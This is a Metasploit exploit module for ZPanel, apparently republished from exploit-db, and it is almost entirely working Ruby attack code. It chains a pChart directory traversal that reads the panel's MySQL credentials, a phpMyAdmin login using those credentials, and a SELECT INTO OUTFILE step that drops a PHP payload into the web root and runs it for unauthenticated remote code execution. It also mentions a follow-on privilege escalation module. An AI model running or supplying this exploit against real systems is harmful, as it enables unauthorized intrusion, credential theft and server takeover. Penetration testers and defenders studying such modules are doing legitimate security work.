Zpanel – Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2015-10-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38505/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    require 'msf/core/exploit/php_exe'
    require 'nokogiri'
    require 'uri'
    
    class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    include Msf::Exploit::PhpEXE
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Zpanel Remote Unauthenticated RCE',
    'Description'=> %q{
    This module exploits an information disclosure vulnerability
    in Zpanel. The vulnerability is due to a vulnerable version
    of pChart used by ZPanel that allows unauthenticated users to read
    arbitrary files remotely on the file system. This particular module
    utilizes this vulnerability to identify the username/password
    combination of the MySQL instance. With the
    credentials the attackers can login to PHPMyAdmin and execute
    SQL commands to drop a malicious payload on the filesystem and
    call it leading to remote code execution.
    },
    'Author' =>
    [
    'Balazs Makany',# pChart vuln discovery
    'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel
    'dawn isabel',
    'brad wolfe',
    'brent morris',
    'james fitts'
    ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    [ 'EDB', '31173' ],# vulnerable version of pChart used by zpanel
    [ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel
    [ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ],
    [ 'URL', 'http://pastebin.com/y5Pf4Yms' ]
    ],
    'Payload' =>
    {
    'BadChars' => "\x00",
    },
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Targets'=>
    [
    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
    ],
    'DefaultTarget' => 0,
    'DisclosureDate' => 'Jan 30 2014'))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
    ], self.class)
    end
    
    def get_setting(res, setting_name)
    n = ::Nokogiri::HTML(res.body)
    spans = n.search('//code//span//span')
    found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
    val = found_element.next.next.text
    val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
    end
    
    def get_user(res)
    get_setting(res, 'user')
    end
    
    def get_passwd(res)
    get_setting(res, 'pass')
    end
    
    def get_dbname(res)
    get_setting(res, 'dbname')
    end
    
    def dot_dot_slash(uri)
    res = send_request_cgi({
    'method' =>'GET',
    'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
    'vars_get' => {
    'Action' => 'View',
    'Script' => '../../../../cnf/db.php'
    }
    })
    
    uname= get_user(res)
    passwd = get_passwd(res)
    dbname = get_dbname(res)
    
    return uname, passwd, dbname
    end
    
    def get_token_from_form(res)
    hidden_inputs = res.get_hidden_inputs
    hidden_inputs.first['token']
    end
    
    def get_token_from_url(url)
    u = URI(url)
    u.query.split('&').each do |param|
    param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
    return param_value if param_name == 'token'
    end
    
    ''
    end
    
    def grab_sess_and_token(uri)
    print_status('Attempting to get PHPSESSIONID')
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri("#{uri}"),
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
    end
    
    cookies = res.get_cookies
    sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
    
    if sid.length > 0
    print_good('PHPSESSID identified!')
    print_good("PHPSESSID = #{sid.split("=")[1]}")
    
    print_status('Attempting to get CSRF token')
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
    'Cookie' => "#{sid}"
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
    end
    
    token = get_token_from_form(res)
    cookies = res.get_cookies
    
    cookies = cookies.split('; ')
    cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
    
    if token.length > 0
    print_good('CSRF token identified!')
    print_good("CSRF token = #{token}")
    return cookies, token, sid
    else
    print_error('CSRF token could not be identified...')
    end
    else
    print_error('PHPSESSID could not be identified...')
    end
    end
    
    def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
    old_cookies = cookies
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
    'cookie' => cookies,
    'ctype'=> 'application/x-www-form-urlencoded',
    'headers'=>
    {
    'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
    },
    'vars_post' => {
    'pma_username' => uname,
    'pma_password' => passwd,
    'server' => '1',
    'lang' => 'en',
    'collation_connection' => 'utf8_general_ci',
    'token'=> token
    }
    })
    
    cookies = "#{res.get_cookies}"
    
    old_cookies = old_cookies.split("; ")
    cookies = cookies.split("; ")
    
    new_cookies ="#{old_cookies[0]}; "
    new_cookies << "#{old_cookies[1]}; "
    new_cookies << "#{old_cookies[2]}; "
    new_cookies << "#{old_cookies[3]}; "
    new_cookies << "#{cookies[0]}; "
    new_cookies << "#{cookies[1]} "
    new_cookies << "#{sess_id}"
    
    token = get_token_from_url(res['Location'])
    
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
    'Referer'=> "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
    'cookie' => new_cookies,
    'vars_get' => {
    'token' => token
    }
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
    end
    
    if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
    print_good('PHPMyAdmin login successful!')
    return new_cookies, token
    end
    end
    
    def do_sql(cookies, token, uri)
    fname = "#{rand_text_alpha_upper(5)}.php"
    sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
    
    res = send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
    'cookie' => cookies,
    'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8',
    'headers' => {
    'X-Requested-With' => 'XMLHttpRequest',
    'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
    },
    'vars_post' => {
    'is_js_confirmed' => '0',
    'token' => token,
    'pos' => '0',
    'goto'=> 'server_sql.php',
    'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
    'prev_sql_query'=> '',
    'sql_query' => sql_stmt,
    'sql_delimiter' => ';',
    'show_query'=> '1',
    'ajax_request'=> 'true',
    '_nocache'=> rand.to_s[2..19].to_i
    }
    })
    
    unless res
    fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
    end
    
    if res.body =~ /"success":true/
    print_good("'#{fname}' successfully uploaded")
    print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
    print_status("Executing '#{fname}' on the remote host")
    
    res = send_request_cgi({
    'method'=>'GET',
    'uri'=>normalize_uri("#{uri}", "#{fname}")
    })
    else
    print_error("#{res.body.to_s}")
    end
    end
    
    def exploit
    # Checking pChart
    res = send_request_cgi({
    'method'=> 'GET',
    'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
    })
    
    # if pChart is vuln version
    if res.body =~ /pChart 2\.x/
    uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
    if uname.length > 0 && passwd.length > 0
    print_good('Directory traversal successful, Username/Password identified!')
    print_good("Username: #{uname}")
    print_good("Password: #{passwd}")
    print_good("DB Name: #{db_name}")
    cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
    print_status('Logging into PHPMyAdmin now')
    cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
    print_status('Uploading malicious payload now')
    do_sql(cookies, token, "#{datastore['URI']}")
    else
    print_error('It appears that the directory traversal was unsuccessful...')
    end
    else
    print_error("It appears that the version of pChart is not vulnerable...")
    end
    end
    end